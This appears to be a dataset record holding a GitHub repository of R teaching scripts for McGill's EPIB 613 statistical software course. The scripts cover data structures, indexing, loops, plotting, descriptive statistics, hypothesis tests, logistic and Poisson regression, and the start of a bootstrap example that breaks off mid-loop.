branch_name stringclasses 149 values | text stringlengths 23 89.3M | directory_id stringlengths 40 40 | languages listlengths 1 19 | num_files int64 1 11.8k | repo_language stringclasses 38 values | repo_name stringlengths 6 114 | revision_id stringlengths 40 40 | snapshot_id stringlengths 40 40 |
|---|---|---|---|---|---|---|---|---|
refs/heads/master | <repo_name>thomasmcgill/EPIB613_2019<file_sep>/README.md
# EPIB 613 - Introduction to Statistical Software
Department of Epidemiology, Biostatistics and Occupational Health, McGill University
## <NAME>
<EMAIL>
## Term
Fall 2019
## Course Syllabus
- [Syllabus](EPIB613_Syllabus_2019.pdf)
## Lectures
- [Lecture 0: Course intro](Lecture0_Intro.pdf)
- [Lecture 1](Lecture1.pdf)
- Lecture 2
- [PDF](Lecture2.pdf), [HTML](Lecture2.ipynb), [Code](Lecture2.r)
- Lecture 3
- [PDF](Lecture3.pdf), [HTML](Lecture3.ipynb), [Code](Lecture3.r)
- Lecture 4
- [PDF](Lecture4.pdf), [HTML](Lecture4.ipynb), [Code](Lecture4.r)
- Lecture 5
- [PDF](Lecture5.pdf), [HTML](Lecture5.ipynb), [Code](Lecture5.r)
- Lecture 6
- [PDF](Lecture6.pdf), [HTML](Lecture6.ipynb), [Code](Lecture6.r)
- Lecture 7
- [PDF](Lecture7.pdf), [HTML](Lecture7.ipynb), [Code](Lecture7.r)
- Lecture 8
- [PDF](Lecture_8_Descriptives_categorical_2017.pdf)
- Lecture 9
- [PDF](Lecture9.pdf), [HTML](Lecture9.ipynb), [Code](Lecture9.r)
- Lecture 10
- [PDF](Lecture10.pdf), [HTML](Lecture10.ipynb), [Code](Lecture10.r)
- Lecture 11
- [PDF](Lecture11.pdf), [HTML](Lecture11.ipynb), [Code](Lecture11.r)
- Lecture 12
- [PDF](Lecture12.pdf), [HTML](Lecture12.ipynb), [Code](Lecture12.r)
- Data [stroke](stroke.csv), [cd4](cd4.txt)<file_sep>/Lecture9.r
set.seed(613)
# Sample from an extremely skewed population, e.g. exponential distribution.
x <- seq(from = 0, to = 10, by = 0.01)
y <- dexp(x = x, rate = 1)
par(mfrow=c(2,2))
plot(y = y, x = x, type = "l", main = "Exponential Density", ylab = "Density")
# Draw 5000 samples of size 5, 25 & 100, and plot the distribution of the sample mean.
sample5 <- sample25 <- sample100 <- rep(NA, 5000)
for (i in 1:5000){
sample5[i] <- mean(rexp(n = 5, rate = 1))
sample25[i] <- mean(rexp(n = 25, rate = 1))
sample100[i] <- mean(rexp(n = 100, rate = 1))
}
hist(sample5, freq = F)
# curve(dexp, from = 0, to = 5, add = T)
hist(sample25, freq = F)
# curve(dexp, from = 0, to = 5, add = T)
hist(sample100, freq = F)
# curve(dexp, from = 0, to = 5, add = T)
# Recall a visual check of normality - Normal Q-Q plot
par(mfrow = c(2,2))
qqnorm(y)
qqline(y)
qqnorm(sample5)
qqline(sample5)
qqnorm(sample25)
qqline(sample25)
qqnorm(sample100)
qqline(sample100)
n <- 20
x <- rnorm(n, mean = 2, sd = 2) # Sample is actually drawn from N(2,4)
z <- (mean(x) - 1) / sqrt(4/n); z
p.val <- 2 * pnorm(q = z, mean = 0, sd = 1, lower.tail = F); p.val
# Rejected at alpha=0.05.
t.test(x = x, mu = 1)
# Reproduce the result
s.squared <- var(x)
t <- (mean(x) - 1) / sqrt(s.squared/n); t
p.val <- 2 * pt(q = t, df = n-1, lower.tail = F); p.val
# Rejected at alpha=0.05.
n <- 50
y <- rpois(n = n, lambda = 3)
# If sigma^2=3 is known, we use z-score.
z <- (mean(y)-3)/sqrt(3/50)
p.val <- 2 * pnorm(q = z, mean = 0, sd = 1); p.val
# Rejected at alpha=0.05.
t.test(x = y, mu = 3) # mu = 3 is the null hypothesis.
# Reproduce the result
(mean(y)-3)/sqrt(var(y)/n)
y1 <- rexp(n = n, rate = 1) # mean = 1
y2 <- rexp(n = 2 * n, rate = 2) # mean = 0.5
t.test(y1, y2, mu = 0.5, alternative = "greater")
# Default is "two-sided".
# No need to worry about the data generation process.
bmi.before <- rnorm(n = 50, mean = 30, sd = 8)
bmi.after <- bmi.before - rnorm(n = 50, mean = 3, sd = 2)
Patient.ID <- 1:50
d <- data.frame(Patient.ID, bmi.before, bmi.after)
head(d)
cor(bmi.before, bmi.after)
# The two variables are highly correlated.
# Those with high BMI before treatment are still relatively high after the treatment.
# We should only compare within pairs.
var(bmi.before)
var(bmi.after)
# Sometimes we can assume that the two variables have the same variance
# based on topic-specific knowledge.
t.test(x = bmi.before, y = bmi.after, mu = 3,
alternative = "greater", paired = T, var.equal = T)
# var.equal = TRUE assumes equal variance.
data(airquality)
airquality$Month <- factor(airquality$Month, labels = month.abb[5:9])
aggregate(Wind~Month, data = airquality, FUN = mean)
pairwise.t.test(airquality$Wind, airquality$Month)
x1 <- rnorm(100, mean = 1, sd = 5)
x2 <- rnorm(50, mean = 5, sd = 8)
var.test(x1, x2)
# Reproduce the result
f <- var(x1)/var(x2); f
2 * pf(q = f, df1 = 99, df2 = 49)
prop.test(x = 7, n = 10, p = 0.5, correct = F)
# Reproduce the result
observed <- c(7,3)
expected <- c(5,5)
X2 <- sum((observed-expected)^2/expected); X2
pchisq(q = X2, df = 2-1, lower.tail = F)
# Reproduce the result
chisq.test(c(7,3), correct = F)
prop.test(x = 7, n = 10, p = 0.5, correct = T)
# Reproduce the result
X2 <- sum((abs(observed-expected)-0.5)^2/expected); X2
binom.test(7, 10)
# Reproduce the result
2 * pbinom(q = 6, size = 10, prob = 0.5, lower.tail = F)
dead <- c(5, 8)
alive <- c(15, 12)
total <- c(20, 20)
prop.test(dead, total, correct = F)
data.frame(dead, alive, total)
exp.dead <- rep(mean(dead), 2)
exp.alive <- rep(mean(alive), 2)
data.frame(exp.dead, exp.alive, total)
# Reproduce the result
# With the same formula
obs <- c(5, 8, 12, 15)
exp <- c(6.5, 6.5, 13.5, 13.5)
sum((obs-exp)^2/exp)
chisq.test(data.frame(dead, alive), correct = F)
cor(bmi.before, bmi.after)
cor.test(bmi.before, bmi.after)
# Reproduce the result
r <- cor(bmi.before, bmi.after)
se.r <- sqrt((1-r^2)/(50-2))
r/se.r
<file_sep>/Lecture11.r
set.seed(613)
x <- c(runif(10, min = 1, max = 6), runif(10, min = 5, max = 10))
y <- c(rep(0,10), rep(1,10))
plot(x, y, main = "Does this linear model make sense?", cex = 2, pch = "+")
abline(lm(y~x), col = "red")
df <- read.csv("https://stats.idre.ucla.edu/stat/data/binary.csv")
df$rank <- ceiling(df$rank/2) - 1
head(df)
table(df[,c("rank", "admit")])[c(2,1),c(2,1)]
OR <- 40*125/(87*148); OR
fit1 <- glm(admit~rank,
family = binomial(link = "logit"),
data = df)
summary(fit1)
exp(fit1$coefficients)
OR
exp(confint(fit1))
# type = "response" gives the fitted probability
nd <- data.frame(rank = c(0,1))
predict(fit1, type = "response", newdata = nd)
# type = "link" give the fitted linear predictor
predict(fit1, type = "link", newdata = nd)
log(0.212765957446936/(1-0.212765957446936))
log(0.410377358490567/(1-0.410377358490567))
fit2 <- glm(admit~gpa,
family = binomial(),
data = df)
summary(fit2)
# the link function for binomial family is logit by default - canonical link
fit2$coefficients
exp(fit2$coefficients)
predict(fit2, newdata=data.frame(gpa=4), type="response")
exp(-4.35758730334778+1.05110872619157*4)/(1+exp(-4.35758730334778+1.05110872619157*4))
lb <- 2
ub <- 4
plot(x = df$gpa, y = df$admit,
main = "Fitted Admission Probability vs GPA", xlim = c(lb,ub))
fitted.admit <- predict(fit2,
newdata = data.frame(gpa = seq(lb,ub,0.01)),
type = "response")
lines(sort(x = seq(lb,ub,0.01)), y = sort(fitted.admit), col = "red")
# The relationship should be a S-shaped curve.
# We are not seeing the curve because the range of GPA is too small.
fit3 <- glm(admit~., family = binomial(), data = df)
summary(fit3)
# print is not necessary in R or Rstudio.
print(anova(fit2, fit3, test = "LRT"))
# LRT -> likelihood ratio test
# test = "Chisq" is equivalent here.
print(anova(fit1, test = "Chisq"))
library(MASS)
ds <- ships
ds <- ds[ds$service>0, ]
head(ds)
fit4 <- glm(incidents~type,
family = poisson(link = "log"),
data = ds)
summary(fit4)
summary(fit4)$coefficients
exp(confint(fit4))
# The canonical link for poisson regression is log, so omitted.
fit5 <- glm(incidents~type+offset(log(service)),
family = poisson(), data = ds)
summary(fit5)
fit6 <- glm(incidents~type+as.factor(year)+offset(log(service)), family = poisson(), data = ds)
fit7 <- glm(incidents~type+as.factor(year)+as.factor(period)+offset(log(service)), family = poisson(), data = ds)
# anova() allows for comparison of many models at the same time.
print(anova(fit5, fit6, fit7, test = "LRT"))
<file_sep>/Lecture7.r
# ?ToothGrowth
tg <- ToothGrowth
rbind(head(tg, 3), tail(tg, 3))
# Check the dimension
dim(tg)
# Summary
summary(tg)
# Note the difference for categorical and numeric variables.
var(tg$len)
n.sample = dim(tg)[1]
sum((tg$len - mean(tg$len))^2)/(n.sample - 1)
par(mfrow=c(2 ,2))
hist(tg$len,
main = "Distribution of Tooth Length",
xlab = "Length",
freq = F, # F gives probability, T gives count
breaks = 2) # Number of bars
hist(tg$len,
main = "Distribution of Tooth Length",
xlab = "Length",
freq = F,
breaks = 5)
hist(tg$len,
main = "Distribution of Tooth Length",
xlab = "Length",
freq = F,
breaks = 20)
hist(tg$len,
main = "Distribution of Tooth Length",
xlab = "Length",
freq = F,
breaks = 100)
rug(tg$len, col = "red")# Add ticks at the data points on the x axis.
# Is the distribution normal?
# See how different number of bins can affect our arbitrary judgement of the distribution.
hist(tg$len, freq = F, ylim = c(0, 0.05))
lines(density(tg$len), col = "red", lwd = 2)
par(mfrow = c(1, 2))
boxplot(tg$len, main = "No outlier - Too bad for teaching")
fake.len <- c(tg$len, 50)
boxplot(fake.len, main = "After adding a fake outlier")
points(x = rep(1,3), quantile(fake.len, seq(0.25, 0.75, 0.25)), pch = "X", col = "red")
points(x=rep(1,2), c(min(tg$len), max(tg$len)), pch = "X", col = "blue")
points(x=1, max(fake.len), pch = "X", col = "purple")
# Box: IQR - 25th and 75th quantile
# Whiskers: the lowest datum still within 1.5 IQR of the lower quartile,
# and the highest datum still within 1.5 IQR of the upper quartile
set.seed(613)
par(mfrow = c(1,2))
plot(ecdf(tg$len), main = "ECDF")
plot(ecdf(rnorm(1000)))
qqnorm(tg$len)
qqline(tg$len)
# recall aggregate( )
aggregate(len~., data = tg, FUN = mean)
tapply(tg$len,
INDEX = list(tg$supp, tg$dose),
FUN = mean)
by(tg$len,
INDICES = list(supp = tg$supp, dose = tg$dose),
FUN = mean)
# aggregate(len~., data = tg, FUN = range)
# Gives an error - has to be 1D.
# A list of length 6
print(tapply(tg$len,
INDEX = list(tg$supp, tg$dose),
FUN = range))
# One of the 6 items in the list.
tapply(tg$len,
INDEX = list(tg$supp, tg$dose),
FUN = range)[[1]]
by(tg$len,
INDICES = list(supp = tg$supp, dose = tg$dose),
FUN = range)
par(mfrow = c(2,3))
aggregate(len~., data = tg, FUN = hist)
par(mfrow = c(2,3))
tapply(tg$len,
INDEX = list(tg$supp, tg$dose),
FUN = qqnorm)
par(mfrow = c(2,3))
by(tg$len,
INDICES = list(supp = tg$supp, dose = tg$dose),
FUN = qqnorm)
head(mtcars)
cov(mtcars[, c("mpg", "cyl", "disp", "hp")])
cor(mtcars[, c("mpg", "cyl", "disp", "hp")])
plot(mtcars[, c("mpg", "cyl", "disp", "hp")])
# See how powerful the plot function is.
cov(mtcars$mpg, mtcars$disp)
str(qqnorm(tg$len))
<file_sep>/Lecture6.r
head(iris)
summary(iris)
# Some parameters related to titles, labels, limits...
plot(x = iris$Sepal.Length, y = iris$Sepal.Width,
main = "Sepal Width vs. Sepal Length", # Title
sub = "Iris", # Sub title
xlim = range(iris$Sepal.Length), # limits of x-axis
ylim = c(1, 10), # Limits of y-axis
xlab = "Sepal Length", # Label of x-axis
ylab = "Sepal Width", # Label of y-axis
log = "xy" # Axis to be set on log scale
)
# x and y are arguments - these two are sufficient for a plot
# In this plot, I specified some most basic graphical parameters.
# Some parameters related to text and plot size.
plot(iris$Sepal.Length,
type = "p", # Type of plot, default is points.
pch = "µ", # plotting symbols, 1~25 plus anything you want.
cex = 2, # Plotting text and symbol size
cex.axis = 2, # Axis annotation size
main = "Sepal Length",
cex.main = 2, # Title text size
cex.lab = 1, # Axis label size
lwd = 1, # Line width
lty = 4
)
table(iris$Species)
# My second pie chart......
pie(x = table(iris$Species),
# col = 1:3,
clockwise = T,
main = "Species of Iris",
)
# Some parameters related to colors
par(bg = "lightyellow") # par() sets graphical parameters before plots.
hist(iris$Sepal.Length,
freq = F, # count or proportion
# breaks = 15,
breaks = seq(from = 4,to = 8,by = 0.5),
xlim = range(iris$Sepal.Length),
main = "Histogram of Sepal Length",
sub = "Iris",
xlab = "Sepal Length",
col.main = "blue",
col.axis = 2,
col.lab = "#009933",
col.sub = 4, # multiple ways to specify color.
col = "darkgreen",
border = "blue", # Color of border of the bars
density = 2, # density of shading lines
angle = 15 # angle of shading lines, in degrees.
)
# border, density and angle are parameters specific to hist().
# Mostly showed parameters related to colors.
# Sorry I am really really really bad with colors.
table(iris$Species)
barplot(table(iris$Species))
par(mar = c(8, 4, 4, 2) + 0.1)
# Set the margins around the plotting area
plot(table(iris$Species), type = "h", las = 2)
# las controls the orientation of axis annotations.
boxplot(iris$Sepal.Length, iris$Sepal.Width, iris$Petal.Length, iris$Petal.Width)
fx1 <- function(x){x^2-10}
fx2 <- function(x){x^3}
curve(fx1,
xlim = c(-10, 10), ylim = c(-10, 10),
col = 2, lty = 1)
curve(fx2, add = TRUE, # add is an parameter in curve()
col = 3, lty = 2) # TRUE -> plot on the existing plot
x <- seq(from = -10, to = 2, by = 0.25)
y1 <- exp(x[1:24])
y2 <- exp(x[25:49])
points(x=x[1:24], y=y1, pch = ">") # Add these points to the existing plot
lines(x=x[25:49], y=y2)
# Add the smooth line containing these points to the existing plot
# lines(x=x, y=y)
abline(h = 5, lty = 3) # h -> horizontal line at y = 5
abline(v = -8, lty = "dotdash") # v => vertical line at x = -8
abline(a = 0, b = 1/2) # y = a + bx
# legend
legend("topright", # Can also be "top", "bottomright", ...
c(expression(paste(x^2-10)), expression(paste(x^3))),
col = c(2,3), # Usually corresponds to the plot
lty = c(1,2),
text.col = c(2,3))
xx <- seq(from = -10, to = 10, by = 0.1)
yy <- dnorm(xx, mean = 0, sd = 2)
# dnorm() gives the normal distribution density
plot(x = xx, y = yy, type = "l", main = "PDF of Normal(0, 2)",
axes = F, # Suppress axes
xlab = "x", ylab = "Density"
)
# axis() allows us to customize axes.
axis(1, at = seq(from = -10, to = 10, by = 4))
axis(2, at = seq(from = 0, to = 1, by = 0.02))
grid() # add grid lines.
# Explore the parameters allowed in grid()
par(mfrow = c(2,2), mar = c(3, 2, 1, 1) + 0.1) # 2 x 2 = 4 plots on the same page, mar allows us to change margin
plot(lm(Sepal.Length~Petal.Length, data = iris))
# lm() for linear regression - EPIB 621 material
# Plot your linear regression object will give 4 diagnostic plots.
matrix(c(1,1,2,3), 2, 2, byrow = TRUE)
nf <- layout(matrix(c(1,1,2,3), 2, 2, byrow = TRUE))
par(mar = c(3, 2, 1, 1) + 0.1)
# layout.show(nf) # Shows the partition of the plotting area
plot(x=x, y=c(y1, y2), type = "l")
plot(x=xx, y=yy, type = "l")
boxplot(iris$Sepal.Length, iris$Petal.Length)
pdf(file = "Normal_Density.pdf")
plot(x = xx, y = yy, type = "l", main = "PDF of Normal(0, 2)",
axes = F, xlab = "x", ylab = "Density")
axis(1, at = seq(from = -10, to = 10, by = 2))
axis(2, at = seq(from = 0, to = 1, by = 0.02))
grid()
dev.off()
# mu <- 0:4
# sigma <- 1:5
bg.color <- c("grey90", "grey80", "grey70", "grey60", "grey50") # Colors of your choice
x <- seq(from = -15, to = 20, by = 0.1)
for (i in 1:5) {
y <- dnorm(x, mean = i-1, sd = i)
pdf(file = paste("Normal_Density_", i, ".pdf", sep = ""))
par(bg = bg.color[i])
plot(x = x, y = y, type = "l", lty = i, xlim = c(-15, 20),
main = paste("PDF of Normal(", i-1, ",", i, ")", sep = ""))
abline(v = i-1, col = "maroon4")
grid()
dev.off()
}
<file_sep>/Lecture2.r
2+3
2*3
log(4) # Natural log
exp(2)
2e3
2^3; 8^(1/3)
sqrt(4)
x <- 5; x
y <- z <- 6
y
z
peak.no <- 21
course = "EPIB 613"
"Yi" -> me # <- , = and -> are equivalent when we assign values
cat(c(me, "teaches", peak.no, "students in", course))
# Don't worry about cat(). If you do, run ?cat in R.
peak.no <- no.students <- 21
no.quit <- 3
no.stay <- peak.no - no.quit
no.stay
Course <- "EPIB 601"
course
print(no.students)
no.students <- no.stay
print(no.students)
number <- c(1, 2, 3)
class(number)
# As in most programming languages, there are integers and floating-point numbers in R
class(5L)
# Double precision floating-point numbers in R
# is.double() checks whether an object is a double precision floating-point number
is.double(5); is.double(5L)
# How precise is double precision?
options(digits = 22) # show more decimal points
print(1/3)
options(digits = 7) # reset to default
letters <- letters[1:3]; print(letters)
class(letters)
logical <- c(TRUE, FALSE)
class(logical)
factor <- as.factor(letters[1:3]); print(factor)
class(factor)
x <- 5; x
# As a big fan of winter sports, I hope that...
snow.days.per.week.mtl <- c(7, 7, 7, 7)
print(snow.days.per.week.mtl)
# We can add names to the vector for each entry
names(snow.days.per.week.mtl) <- rep("Jan 2018", 4)
print(snow.days.per.week.mtl)
# But the names will not affect calculations.
sum(snow.days.per.week.mtl)
mymatrix1 <- matrix(c(3:14), nrow = 4, byrow = TRUE)
print(mymatrix1)
mymatrix2 <- matrix(c(3:14), nrow = 4, byrow = FALSE)
print(mymatrix2)
rownames <- c("row1", "row2", "row3", "row4")
colnames <- c("col1", "col2", "col3")
rownames(mymatrix1) <- rownames
colnames(mymatrix1) <- colnames
print(mymatrix1)
myarray <- array(1:24, dim = c(4,3,2))
print(myarray)
# Don't worry about the data generating process.
set.seed(613) # Make random numbers generated from sample() reproducible.
# Randomly assign ~20% of patients to have disease.
disease <- sample(c(0,1), size = 100, replace = TRUE, prob = c(0.2, 0.8))
# Randomly assign ~40% of patients to take drug.
drug <- sample(c(0,1), size = 100, replace = TRUE, prob = c(0.4, 0.6))
bmi.cat <- sample(1:3, size = 100, replace = TRUE) # Randomly assign BMI categories
age.cat <- sample(1:4, size = 100, replace = TRUE) # Randomly assign age categories
data <- data.frame(drug, disease, bmi.cat, age.cat) # Make our data frame
head(data)
# The table below shows the first 6 rows of the fake dataset.
# This is a typical dataset you will see in Epidemiology.
# Each row is a patient, with their own information.
# Goal is to assess the association between disease and drug (drug safety).
# By tabulating the data, we can assess the association (EPIB 601 material).
# If we only tabulate drug and disease, we get a 2x2 table, which is a matrix or a 2-dimensional array.
# 1st dimension: drug, 2nd dimension: disease
table(data[c("drug","disease")])
# This may not be enough, we want to see how people with different BMI may differ (confounder, also 601 material).
# We now need a 2x2x3 table, which is a 3-dimensional array.
# 1st dimension: drug, 2nd dimension: disease, 3rd dimension: bmi.cat
table(data[c("drug", "disease", "bmi.cat")])
# Further include age to see how age category comes into the association
# We now need a 2x2x3x4 table, which is a 4-dimensional array.
# 1st dimension: drug, 2nd dimension: disease, 3rd dimension: bmi.cat, 4th dimension: age.cat
# table(data)
names <- c("Lucy", "John", "Mark", "Candy")
score <- c(67, 56, 87, 91)
pass <- c(T, F, T, T)
df <- data.frame(names, score, pass); print(df)
str(df) # checking the structure of an object
mylist <- list("Red", factor(c("a","b")), c(21,32,11), TRUE)
print(mylist)
str(mylist)
ch.letter <- letters[1:3]
print(ch.letter)
class(ch.letter)
fac.letter <- as.factor(letters[1:3])
print(fac.letter)
# Note the additional 'Levels: a b c' in the output
class(fac.letter)
# Should factor be considered as a data structure or a data type?
c(-1, 5.44, 100, 34123)
-1:10 # By increments of 1.
seq(from = 0.33, to = 9.33, by = 3)
seq(from = 0, to = 1, length = 5)
rep(1.2, times = 5)
rep(c("six", "one", "three"), times = 2)
c(6, 1, 3, rep(seq(from = 3, to = 5, by = 0.5), times = 2))
sequence(5)
sequence(c(6, 1, 3))
a <- c(1, 8, 8)
b <- c(2, 8, 4)
a+1 # here 1 is considered as a vector (1, 1, 1)
a+b
a*b
a^2
c <- matrix(c(1,2,3,4), nrow = 2, byrow = T)
d <- matrix(c(5,6,7,8), nrow = 2, byrow = F)
print(c); print(d)
c+1
c+d
c*d
c^2
a %*% b
a %o% b
c %*% d
c; t(c)
diag(c)
det(c)
# Recall vector a and b from above.
print(a); print(b)
a == b # Equal or not?
a != b # Not equal?
a > b
a <= b
# And
a; b
a>5 & b>5
# Or
a>=5 | b>=5
"ABC" == "ABC"
"ABC" == "abc"
TRUE + TRUE + FALSE # True = 1, False = 0.
<file_sep>/Lecture3.r
vector <- 2:6
vector
# Pick the 2nd
vector[2]
# Pick 2nd - 4th
vector[2:4]
# Pick no. 1, 3, 5
vector[c(1, 3, 5)]
# Code like a pro
# This good practice makes it clearer for revisits and/or edits
# Reproducibility!
# Pick no. 1, 3, 5
index <- c(1, 3, 5)
vector[index]
# Use the index system to re-order
vector[c(5,4,3,2,1)]
vector
# delete the 2nd and 4th
vector[-c(2,4)]
# change the value of the 3rd
vector[3] <- 123
vector
# Recall that we could give names to vector entries
vector <- 2:6
names(vector) <- letters[2:6]; vector
vector["b"]
vector[c("b", "f")]
matrix <- matrix(c(3:14), nrow = 4, byrow = TRUE)
print(matrix)
# Note that the indices are given.
matrix_byrow <- matrix(c(3:14), nrow = 4, byrow = TRUE)
matrix_bycol <- matrix(c(3:14), nrow = 4, byrow = FALSE)
matrix_byrow
matrix_bycol
?matrix
matrix[2, 3]
matrix[2, ]
matrix[ , c(1, 3)]
# Change the order of columns.
matrix[ , c(3, 1)]
matrix[1:4, c(1,3)]
matrix[ , -2]
rownames(matrix)
# Recall that we could give names to columns and rows
row.names <- c("row1", "row2", "row3", "row4")
col.names <- c("col1", "col2", "col3")
rownames(matrix) <- row.names
colnames(matrix) <- col.names
print(matrix)
rownames(matrix)
matrix["row1", ]
# The output is a named vector as a result of dimension reduction
matrix["row2", "col3"]
array <- array(3:14, dim = c(2, 3, 2))
print(array)
array[ , , 1]
array[2, 3, 2]
array[1, , 2]
df <- data.frame(names = c("Lucy", "John", "Mark", "Candy"),
score = c(67, 56, 87, 91))
print(df)
df[2, ]
df[ , 1]
# There are (column) names that are ready to use in data frames.
names(df)
df$names
# data.frame$variable.name gives the variable.
vector
vector[vector>4]
vector>4
numbers <- 1:5
odd <- c(T, F, T, F ,T)
numbers[odd]
# What is John's score?
df[df$names == "John",]
# How does this work?
df$names == "John"
# Anyone scored 100?
print(df[df$score == 100,])
# Highest score?
max(df$score) # max() for maximum
# Who had the highes score?
df[df$score == max(df$score), ]
# Note that this is still a data frame.
str(df[df$score == max(df$score), ])
# I only need the name.
df[df$score == max(df$score), ]$names
# Change the order of columns
df[ , c("score", "names")]
# By now you should have realized that,
# we change the order of columns by picking the columns
# in the order that we want.
list <- list("Red", factor(c("a","b")), c(21,32,11), TRUE)
print(list)
list[[1]]
list[[3]][2]
named.list <- list(name = "Yi",
course = "EPIB 613",
age = 28,
married = T)
named.list
named.list$name
head(mtcars) # You can use this dataset directly whenever you want.
# data() # Shows all datasets in base R.
# head(cancer)
# Load 'cancer' data before loading the 'survival' package will result in error.
library(survival)
head(cancer)
# ?read.table # Uncomment to run the code
x <- read.csv(file = "http://www.medicine.mcgill.ca/epidemiology/hanley/bios602/MultilevelData/otitisDataTall.txt",
header = FALSE)
dim(x)
head(x) # head() Displays the first 6 (default) rows.
xx <- read.csv(file = "http://www.medicine.mcgill.ca/epidemiology/hanley/bios602/MultilevelData/otitisDataTall.txt",
header = TRUE)
dim(xx)
head(xx) # Note that "header = TRUE" makes the first row column names.
# d <- read.csv(file.choose())
df
write.csv(df, file = "~/Desktop/df.csv")
# Check the dimensions of the data frame.
dim(mtcars)
# Check the column names
names(mtcars)
# Or if you remember the function str()
str(mtcars)
# Look at the first few rows, default is 6 rows
head(mtcars, n=10)
# Check the last few rows, default is 6 rows
tail(mtcars, n = 3)
# Quick summary of the data frame
summary(mtcars)
head(ToothGrowth)
summary(ToothGrowth)
# Check missing values
sum(is.na(mtcars))
# is.na() is true if a cell is "NA" - missing value
# sum() over all cells tells how many true's there are.
# Recall from Lecture 2.
<file_sep>/Lecture4.r
df <- data.frame(names = c("Lucy", "John", "Mark", "Candy"),
score = c(67, 56, 87, 91))
df
for (i in 1:4) {
df$curved[i] <- sqrt(df$score[i])*10
}
df
x <- NULL
for (i in 1:5) {
x[i] = 2*i
}
x
9 %% 2 # 9 mod 2
9 %/% 2
# y %% x
i <- 0
y <- 9
x <- 2
while (y>=x) {
y <- y - x
i <- i + 1
}
y # modulus
i # integer division
# why?
watermelon <- T
no.orange <- if (watermelon == TRUE) {
"Buy 1 orange"
} else {
print("Buy 6 oranges") # As seen in class, print() is useless here.
}
no.orange
# I prefer a simple function, ifelse(test, yes, no)
watermelon <- F
ifelse(watermelon == TRUE, yes = "Buy 1 orange", no = "Buy 6 oranges")
# ifelse is vectorized
df$pass <- ifelse(test = df$score >= 65, yes = TRUE, no = FALSE)
df
i <- 0
repeat {print("Because they have watermelons!")
i <- i + 1
if (i>=3){
break
}
}
i <- 0
y <- 9
x <- 2
repeat {
# The operation
y <- y - x
i <- i + 1
# Stop criteria
if (y<x) {
break
}
}
i; y
# Using indices from last lecture to change specific entries in R objects
df.copy <- df
df.copy$score[2] <- df.copy$names[3] <- NA
df.copy
is.na(df.copy)
# Total number of cells with missing values
sum(is.na(df.copy))
# Whether a data point (row) is complete
complete.cases(df.copy)
!complete.cases(df.copy)
s <- 1:5
s[c(TRUE, FALSE, TRUE, FALSE, FALSE)]
# Inomplete data points
df.copy[complete.cases(df.copy), ]
# Recall the logical operator "!"
!FALSE
# Taking the average score
mean(df.copy$score)
mean(df.copy$score, na.rm = TRUE)
sum(df.copy$score)
sum(df.copy$score, na.rm = T)
na.omit(df.copy)
# Options in R that deals with missingness
?na.action
Sys.Date()
# Note the standard date format in R
Sys.time() # Eastern Daylight Time
date()
first.hw.post <- as.Date("Oct 4, 2018", tryFormats = "%b %d, %Y")
first.hw.post
first.hw.due <- as.Date("2018년10월11일", tryFormats = "%Y년%m월%d일")
first.hw.due
# Just want to show you that any format can be recognized.
# As long as you can let R know how to read it.
# Help file: Date-time Conversion Functions to and from Character
# ?strptime
first.hw.due - Sys.Date()
as.numeric(Sys.Date())
# Time origin of R
Sys.Date() - as.numeric(Sys.Date())
# How long does it take R to load the survival package
time0 <- proc.time()
library(survival)
proc.time() - time0
format(Sys.Date(), format = "%A %B %d %Y")
# Absolute value
abs(-3)
ceiling(3.14159)
floor(3.14159)
trunc(3.14159)
signif(3.14159, 3)
round(pi, digits = 10)
trunc(9/2)
df
for (i in 1:4){
df$student.no[i] <- paste("student", i)
# df$curved.score[i] <- round(sqrt(df$score[i]) * 10)
}
df
str(df)
n <- nrow(df)
plot(as.factor(df$student.no), df$curved,
# Math symbols in text
main = expression(paste("Score is ", alpha, ", curved score is ", sqrt(alpha)%*%10)),
# Variable value in text
xlab = paste("There are", n, "students"))
df.scores <- df[, c("score", "curved")]; df.scores
apply(df.scores, MARGIN = 2, FUN = mean)
apply(df.scores, MARGIN = 1, FUN = diff) # diff() calculates the difference - see Section 4.4.4
myarray <- array(1:12, dim = c(2,3,2)); print(myarray)
apply(myarray, MARGIN = c(2, 3), sum)
df
sapply(df, is.numeric)
age=c(1,6,4,5,8,5,4,3)
weight=c(45,65,34)
age
mean(age)
prod(age)
median(age)
var(age)
sd(age)
max(age)
min(age)
range(age)
which.max(age) #returns the index of the greatest element of x
which.min(age) #returns the index of the smallest element of x
seq(from = 0, to = 1, by = 0.25)
quantile(1:100, probs = seq(from = 0, to = 1, by = 0.25))
# Returns the specified quantiles.
age
unique(age) # Gives the vector of distinct values
diff(age) # Replaces a vector by the vector of first differences
sort(age, decreasing = F) # Sorts elements into order
order(age)
age[order(age)] # x[order(x)] orders elements of x
age
cumsum(age) # Cumulative sums
cumprod(age) # Cumulative products
cat <- cut(age, breaks = c(-Inf, 2.5, 5.5, Inf)) # Divide continuous variable in factor with n levels
cbind(age, cat)
table(cat)
# Split the variable into categories
age.cat <- split(age, cat)
age.cat
# split() gives a list
str(age.cat)
# lapply: list apply
lapply(age.cat, mean)
# The structure
func_name <- function(argument) {
statement
}
X.to.the.power.of.Y <- function(y, x){
x^y
}
X.to.the.power.of.Y(x = 3, y = 2)
X.to.the.power.of.Y(3, 2) # Following a question in class, note the difference.
df.scores
# The following code does not work
# apply(df.scores, MARGIN = 2, FUN = ^2)
# Instead we can do
my.fun <- function(x){x^2}
apply(df.scores, MARGIN = 2, FUN = my.fun)
# Two inputs, y and x, so two arguments
# Option 1 - use %% and %/% operators
modulus1 <- function(y, x){
mod <- y %% x
int.div <- y %/% x
return(list(modulus=mod, integer.division=int.div))
}
out1 <- modulus1(y = 9, x = 2)
# print(out1)
out1
str(out1)
out1$modulus
# out1$integer.division
out1$integer.division
# Option 2 - use trunc() or floor()
modulus2 <- function(y, x){
mod <- trunc(y/x) # or floor(y/x)
int.div <- y - x * mod
return(c(modulus=mod, integer.division=int.div))
}
out2 <- modulus2(9, 2)
print(out2)
str(out2)
out2[1]
out2[2]
out2["modulus"]
attr(out2, "names")
# Option 3 - use loops
modulus3 <- function(y, x){
i <- 0
while (y>=x){
y <- y - x
i <- i + 1
}
return(cat("modulus=", y, ", Integer division=", i)) # modulus
}
# I want modulus(y, x) to give me 'y mod x' for any integers y and x.
out3 <- modulus3(9, 2)
# Note that without printing out3, the result is already shown.
9%%2
9%/%2
<file_sep>/Lecture12.r
n <- 10000
x <- rnorm(n, mean = 100, sd = 20)
diff(range(x))
boot.iter <- 1000
rangeX <- numeric(boot.iter)
set.seed(613)
for (i in 1:boot.iter) {
boot.index <- sample(1:n, n, replace = T)
